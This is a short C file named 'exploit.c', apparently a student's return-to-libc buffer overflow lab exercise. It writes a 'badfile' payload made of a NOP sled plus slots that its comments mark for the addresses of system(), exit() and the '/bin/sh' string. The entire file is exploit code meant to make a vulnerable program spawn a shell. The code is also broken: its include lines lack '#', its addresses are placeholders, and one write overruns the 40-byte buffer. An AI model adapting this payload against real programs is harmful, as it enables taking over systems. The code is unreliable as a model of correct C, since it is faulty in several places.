/* exploit.c */
include <stdlib.h>
include <stdio.h>
include <string.h>

//by 20145221

int main(int argc, char **argv)
{
	char buf[40];
	FILE *badfile;
 	badfile = fopen(".//badfile", "w");

	strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

 	*(long *) &buf[32] =0x11111111; // "//bin//sh"
 	*(long *) &buf[24] =0x22222222; // system()
 	*(long *) &buf[36] =0x33333333; // exit()
 	fwrite(buf, sizeof(buf), 1, badfile);
 	fclose(badfile);
}
